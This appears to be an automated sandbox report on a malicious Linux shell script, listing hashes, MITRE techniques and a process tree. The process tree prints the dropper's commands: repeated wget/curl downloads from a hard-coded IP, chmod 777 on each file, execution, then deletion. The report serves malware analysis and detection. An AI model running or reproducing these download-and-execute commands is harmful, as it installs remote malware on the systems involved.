9bc1079e4922b6bcb22defd973170b7e3cb406957adf3ce6dec3478183b496a0

Analysis

max time kernel
37s
max time network
35s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
30/08/2026, 12:30

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General

Target
9bc1079e4922b6bcb22defd973170b7e3cb406957adf3ce6dec3478183b496a0.sh
Size 1KB
Sample260830-pplzystcpd
SHA256 9bc1079e4922b6bcb22defd973170b7e3cb406957adf3ce6dec3478183b496a0
MD5 9ef585d5b752d264b68a9b83108f6fc7
SHA1 da5acd5f5ce697cf7b427ff49ded85ca1103c66c
SHA512 b5f55309c7d5f4c02020ccc7ea26070af184acecaa9756c3aea753dfd4dc46ff2e2f856cdcd8babef6c869b7b09c590bcdec830031c92ab2f55045a2ec8e007f
TLSH
T1E43192CA01201E724113DD4D73B23048728DA5EB2D5FD7E4D85D5EFA828878CF1A0B5E
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
823	chmod
861	chmod
870	chmod
877	chmod
884	chmod
736	chmod
757	chmod
779	chmod
816	chmod
728	chmod
743	chmod
804	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/4a0c85	729	9bc1079e4922b6bcb22defd973170b7e3cb406957adf3ce6dec3478183b496a0.sh
/tmp/56b24b	737	9bc1079e4922b6bcb22defd973170b7e3cb406957adf3ce6dec3478183b496a0.sh
/tmp/7e3764	744	9bc1079e4922b6bcb22defd973170b7e3cb406957adf3ce6dec3478183b496a0.sh
/tmp/dd577d	758	9bc1079e4922b6bcb22defd973170b7e3cb406957adf3ce6dec3478183b496a0.sh
/tmp/c47ea1	780	9bc1079e4922b6bcb22defd973170b7e3cb406957adf3ce6dec3478183b496a0.sh
/tmp/e58807	806	9bc1079e4922b6bcb22defd973170b7e3cb406957adf3ce6dec3478183b496a0.sh
/tmp/eaa1ea	817	9bc1079e4922b6bcb22defd973170b7e3cb406957adf3ce6dec3478183b496a0.sh
/tmp/0d2458	824	9bc1079e4922b6bcb22defd973170b7e3cb406957adf3ce6dec3478183b496a0.sh
/tmp/934302	862	9bc1079e4922b6bcb22defd973170b7e3cb406957adf3ce6dec3478183b496a0.sh
/tmp/083585	871	9bc1079e4922b6bcb22defd973170b7e3cb406957adf3ce6dec3478183b496a0.sh
/tmp/c0159a	878	9bc1079e4922b6bcb22defd973170b7e3cb406957adf3ce6dec3478183b496a0.sh
/tmp/661230	885	9bc1079e4922b6bcb22defd973170b7e3cb406957adf3ce6dec3478183b496a0.sh

Reads runtime system information 12 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/7e3764	curl
File opened for modification	/tmp/0d2458	curl
File opened for modification	/tmp/c0159a	curl
File opened for modification	/tmp/661230	curl
File opened for modification	/tmp/4a0c85	curl
File opened for modification	/tmp/56b24b	curl
File opened for modification	/tmp/dd577d	curl
File opened for modification	/tmp/c47ea1	curl
File opened for modification	/tmp/e58807	curl
File opened for modification	/tmp/eaa1ea	curl
File opened for modification	/tmp/934302	curl
File opened for modification	/tmp/083585	curl

/tmp/9bc1079e4922b6bcb22defd973170b7e3cb406957adf3ce6dec3478183b496a0.sh
/tmp/9bc1079e4922b6bcb22defd973170b7e3cb406957adf3ce6dec3478183b496a0.sh
1⤵
- Executes dropped EXE
PID:701
- /usr/bin/wget
  wget http://5.182.210.174/4a0c85
  2⤵
  PID:705
- /usr/bin/curl
  curl -O http://5.182.210.174/4a0c85
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:718
- /bin/chmod
  chmod 777 4a0c85
  2⤵
  - File and Directory Permissions Modification
  PID:728
- /tmp/4a0c85
  ./4a0c85 bc
  2⤵
  PID:729
- /bin/rm
  rm -rf 4a0c85
  2⤵
  PID:731
- /bin/rm
  rm -rf 4a0c85.1
  2⤵
  PID:732
- /usr/bin/wget
  wget http://5.182.210.174/56b24b
  2⤵
  PID:733
- /usr/bin/curl
  curl -O http://5.182.210.174/56b24b
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:735
- /bin/chmod
  chmod 777 56b24b
  2⤵
  - File and Directory Permissions Modification
  PID:736
- /tmp/56b24b
  ./56b24b bc
  2⤵
  PID:737
- /bin/rm
  rm -rf 56b24b
  2⤵
  PID:739
- /bin/rm
  rm -rf 56b24b.1
  2⤵
  PID:740
- /usr/bin/wget
  wget http://5.182.210.174/7e3764
  2⤵
  PID:741
- /usr/bin/curl
  curl -O http://5.182.210.174/7e3764
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:742
- /bin/chmod
  chmod 777 7e3764
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/7e3764
  ./7e3764 bc
  2⤵
  PID:744
- /bin/rm
  rm -rf 7e3764
  2⤵
  PID:746
- /bin/rm
  rm -rf 7e3764.1
  2⤵
  PID:747
- /usr/bin/wget
  wget http://5.182.210.174/dd577d
  2⤵
  PID:748
- /usr/bin/curl
  curl -O http://5.182.210.174/dd577d
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:749
- /bin/chmod
  chmod 777 dd577d
  2⤵
  - File and Directory Permissions Modification
  PID:757
- /tmp/dd577d
  ./dd577d bc
  2⤵
  PID:758
- /bin/rm
  rm -rf dd577d
  2⤵
  PID:761
- /bin/rm
  rm -rf dd577d.1
  2⤵
  PID:762
- /usr/bin/wget
  wget http://5.182.210.174/c47ea1
  2⤵
  PID:763
- /usr/bin/curl
  curl -O http://5.182.210.174/c47ea1
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:770
- /bin/chmod
  chmod 777 c47ea1
  2⤵
  - File and Directory Permissions Modification
  PID:779
- /tmp/c47ea1
  ./c47ea1 bc
  2⤵
  PID:780
- /bin/rm
  rm -rf c47ea1
  2⤵
  PID:783
- /bin/rm
  rm -rf c47ea1.1
  2⤵
  PID:785
- /usr/bin/wget
  wget http://5.182.210.174/e58807
  2⤵
  PID:786
- /usr/bin/curl
  curl -O http://5.182.210.174/e58807
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:792
- /bin/chmod
  chmod 777 e58807
  2⤵
  - File and Directory Permissions Modification
  PID:804
- /tmp/e58807
  ./e58807 bc
  2⤵
  PID:806
- /bin/rm
  rm -rf e58807
  2⤵
  PID:809
- /bin/rm
  rm -rf e58807.1
  2⤵
  PID:811
- /usr/bin/wget
  wget http://5.182.210.174/eaa1ea
  2⤵
  PID:812
- /usr/bin/curl
  curl -O http://5.182.210.174/eaa1ea
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:815
- /bin/chmod
  chmod 777 eaa1ea
  2⤵
  - File and Directory Permissions Modification
  PID:816
- /tmp/eaa1ea
  ./eaa1ea bc
  2⤵
  PID:817
- /bin/rm
  rm -rf eaa1ea
  2⤵
  PID:819
- /bin/rm
  rm -rf eaa1ea.1
  2⤵
  PID:820
- /usr/bin/wget
  wget http://5.182.210.174/0d2458
  2⤵
  PID:821
- /usr/bin/curl
  curl -O http://5.182.210.174/0d2458
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:822
- /bin/chmod
  chmod 777 0d2458
  2⤵
  - File and Directory Permissions Modification
  PID:823
- /tmp/0d2458
  ./0d2458 bc
  2⤵
  PID:824
- /bin/rm
  rm -rf 0d2458
  2⤵
  PID:826
- /bin/rm
  rm -rf 0d2458.1
  2⤵
  PID:827
- /usr/bin/wget
  wget http://5.182.210.174/934302
  2⤵
  PID:828
- /usr/bin/curl
  curl -O http://5.182.210.174/934302
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:852
- /bin/chmod
  chmod 777 934302
  2⤵
  - File and Directory Permissions Modification
  PID:861
- /tmp/934302
  ./934302 bc
  2⤵
  PID:862
- /bin/rm
  rm -rf 934302
  2⤵
  PID:866
- /bin/rm
  rm -rf 934302.1
  2⤵
  PID:867
- /usr/bin/wget
  wget http://5.182.210.174/083585
  2⤵
  PID:868
- /usr/bin/curl
  curl -O http://5.182.210.174/083585
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:869
- /bin/chmod
  chmod 777 083585
  2⤵
  - File and Directory Permissions Modification
  PID:870
- /tmp/083585
  ./083585 bc
  2⤵
  PID:871
- /bin/rm
  rm -rf 083585
  2⤵
  PID:873
- /bin/rm
  rm -rf 083585.1
  2⤵
  PID:874
- /usr/bin/wget
  wget http://5.182.210.174/c0159a
  2⤵
  PID:875
- /usr/bin/curl
  curl -O http://5.182.210.174/c0159a
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:876
- /bin/chmod
  chmod 777 c0159a
  2⤵
  - File and Directory Permissions Modification
  PID:877
- /tmp/c0159a
  ./c0159a bc
  2⤵
  PID:878
- /bin/rm
  rm -rf c0159a
  2⤵
  PID:880
- /bin/rm
  rm -rf c0159a.1
  2⤵
  PID:881
- /usr/bin/wget
  wget http://5.182.210.174/661230
  2⤵
  PID:882
- /usr/bin/curl
  curl -O http://5.182.210.174/661230
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:883
- /bin/chmod
  chmod 777 661230
  2⤵
  - File and Directory Permissions Modification
  PID:884
- /tmp/661230
  ./661230 bc
  2⤵
  PID:885
- /bin/rm
  rm -rf 661230
  2⤵
  PID:887
- /bin/rm
  rm -rf 661230.1
  2⤵
  PID:888

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

4a0c85

Path /tmp/4a0c85
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

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